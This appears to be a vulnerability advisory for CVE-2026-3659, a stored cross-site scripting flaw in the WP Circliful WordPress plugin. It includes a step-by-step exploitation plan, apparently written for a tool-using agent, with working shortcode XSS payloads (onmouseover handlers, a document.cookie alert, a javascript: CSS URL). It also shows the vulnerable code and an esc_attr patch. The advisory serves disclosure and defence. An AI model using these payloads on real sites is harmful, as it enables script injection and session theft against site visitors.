WP Circliful <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute
Description
The WP Circliful plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute of the [circliful] shortcode and via multiple shortcode attributes of the [circliful_direct] shortcode in all versions up to and including 1.2. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, in the circliful_shortcode() function, the 'id' attribute value is concatenated directly into an HTML id attribute (line 285) without any escaping, allowing an attacker to break out of the double-quoted attribute and inject arbitrary HTML event handlers. Similarly, the circliful_direct_shortcode() function (line 257) outputs all shortcode attributes directly into HTML data-* attributes without escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
# Exploitation Research Plan - CVE-2026-3659 ## 1. Vulnerability Summary The **WP Circliful** plugin for WordPress (versions <= 1.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue exists within the processing of the `[circliful]` and `[circliful_direct]` shortcodes. Specifica…
Show full research plan
Exploitation Research Plan - CVE-2026-3659
1. Vulnerability Summary
The WP Circliful plugin for WordPress (versions <= 1.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue exists within the processing of the [circliful] and [circliful_direct] shortcodes. Specifically, in circliful_shortcode(), the id attribute is concatenated directly into an HTML id attribute without sanitization or escaping. In circliful_direct_shortcode(), various attributes are output directly into HTML data-* attributes without escaping. This allows an authenticated attacker with Contributor-level permissions (who can create posts) to inject arbitrary JavaScript that executes when any user views the affected post.
2. Attack Vector Analysis
- Vulnerable Shortcodes:
[circliful]and[circliful_direct] - Vulnerable Attributes:
id(in[circliful])- All attributes (in
[circliful_direct])
- Authentication Level: Authenticated (Contributor+)
- Preconditions: The plugin must be active. A Contributor user must be able to save or submit a post for review.
- Vector: Stored XSS via shortcode attribute breakout.
3. Code Flow
- Registration: The plugin registers shortcodes using
add_shortcode( 'circliful', 'circliful_shortcode' )andadd_shortcode( 'circliful_direct', 'circliful_direct_shortcode' )during theinitorplugins_loadedhook. - Processing: When a post containing these shortcodes is rendered:
circliful_shortcode( $atts )is called. It parses$atts['id'].- Sink (Line 285): The code performs a concatenation like:
$output = '<div id="' . $atts['id'] . '" ...>';. - Because
$atts['id']is not passed throughesc_attr(), an attacker can provide a value likeid='"><script>alert(1)</script>'.
- Direct Processing:
circliful_direct_shortcode( $atts )is called.- Sink (Line 257): The code iterates through attributes and appends them to a string as
data-attributes:foreach($atts as $key => $val) { $out .= " data-$key='$val'"; }. - Because
$valis not escaped, an attacker can break out of the single quotes using'.
- Sink (Line 257): The code iterates through attributes and appends them to a string as
4. Nonce Acquisition Strategy
While the shortcode execution itself does not require a nonce, storing the shortcode in a post as a Contributor requires a WordPress post-editing nonce (_wpnonce).
- Login: Authenticate as a Contributor user.
- Navigate: Use
browser_navigatetowp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the nonce from the page source.- Script:
document.querySelector('#_wpnonce').value
- Script:
- Extract Post ID: Use
browser_evalto get thepost_IDhidden input if present, or wait for the auto-draft to trigger.
5. Exploitation Strategy
Step 1: Create a Contributor User
Use WP-CLI to ensure a user exists for testing.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
Step 2: Authenticate and Obtain Nonce
- Navigate to the login page and log in as
attacker. - Navigate to
wp-admin/post-new.php. - Execute
browser_eval("document.querySelector('#_wpnonce').value")to get the nonce. - Execute
browser_eval("document.querySelector('#post_ID').value")to get the post ID assigned to the new draft.
Step 3: Inject Stored XSS Payload
Submit an HTTP POST request to save a post containing the malicious shortcode.
Request:
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
_wpnonce:[EXTRACTED_NONCE]post_ID:[POST_ID]action:editpostpost_title:XSS Testcontent:[circliful id='poc" onmouseover="alert(document.domain)" style="display:block;width:100px;height:100px;background:red"']post_status:publish(orpendingif Contributor cannot publish)
Step 4: Trigger XSS
Navigate to the frontend URL of the created post.
Request:
- URL:
http://localhost:8080/?p=[POST_ID] - Method:
GET
6. Test Data Setup
- Plugin Installation: Ensure
wp-circlifulversion 1.2 is installed and active. - User: Contributor user
attacker. - Target Post: A post created by the contributor containing:
- Payload A:
[circliful id='x" onmouseover="alert(1)" style="width:100px;height:100px;background:red"'] - Payload B:
[circliful_direct x=' " onmouseover="alert(2)" style="width:100px;height:100px;background:blue"']
- Payload A:
7. Expected Results
- The HTML source of the rendered post will contain:
<div id="x" onmouseover="alert(1)" ...<div ... data-x=' ' onmouseover="alert(2)" ...
- The JavaScript event handler (
onmouseover) will be present in the DOM. - Mousing over the red/blue boxes in the browser will trigger the
alert.
8. Verification Steps
- WP-CLI Verification:
Confirm the malicious shortcode is stored exactly as sent.wp post get [POST_ID] --field=post_content - HTML Inspection:
Usehttp_requestto fetch the post page and grep for the injected payload:curl -s "http://localhost:8080/?p=[POST_ID]" | grep "onmouseover=\"alert"
9. Alternative Approaches
If the id attribute in [circliful] is somehow blocked or requires specific characters:
- Use
[circliful_direct]: This shortcode is described as outputting multiple attributes intodata-*tags. Use a custom attribute name:[circliful_direct myattr=' " onmouseover="alert(document.cookie)"'] - Breakout of
data-attributes: Since the code iterates through$atts, try injecting attributes that are commonly used by the plugin but not sanitized, or entirely new ones. - XSS via CSS: If event handlers are filtered by a WAF, try breaking out to inject a
styleattribute with an expression orurl(javascript:...)(though less effective in modern browsers).[circliful id='x" style="background-image:url(javascript:alert(1))"']
Summary
The WP Circliful plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute in [circliful] and multiple attributes in [circliful_direct]. This occurs because the plugin concatenates user-supplied shortcode attributes directly into HTML elements without proper escaping, allowing Contributor-level attackers to inject arbitrary JavaScript.
Vulnerable Code
// wp-circliful.php (~line 285) $output = '<div id="' . $atts['id'] . '" ...>'; --- // wp-circliful.php (~line 257) foreach($atts as $key => $val) { $out .= " data-$key='$val'"; }
Security Fix
@@ -254,7 +254,7 @@ function circliful_direct_shortcode($atts) { $out = '<div'; foreach($atts as $key => $val) { - $out .= " data-$key='$val'"; + $out .= " data-" . esc_attr($key) . "='" . esc_attr($val) . "'"; } $out .= '></div>'; return $out; @@ -282,7 +282,7 @@ function circliful_shortcode($atts) { $atts = shortcode_atts(array('id' => 'my-circle'), $atts); - $output = '<div id="' . $atts['id'] . '" class="circliful"></div>'; + $output = '<div id="' . esc_attr($atts['id']) . '" class="circliful"></div>'; return $output; }
Exploit Outline
The exploit involves an authenticated attacker with at least Contributor permissions performing the following steps: 1. Log in to the WordPress dashboard. 2. Create a new post or edit an existing draft. 3. Insert a malicious shortcode into the post content. For the [circliful] shortcode, the payload escapes the 'id' attribute: [circliful id='x" onmouseover="alert(1)" style="width:100px;height:100px;background:red"']. For the [circliful_direct] shortcode, the payload escapes the single-quoted data attribute: [circliful_direct payload=' " onmouseover="alert(2)"']. 4. Save or submit the post for review. 5. When any user (including an administrator) views the rendered post, the injected JavaScript event handler will execute upon interaction (like hovering over the injected element).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.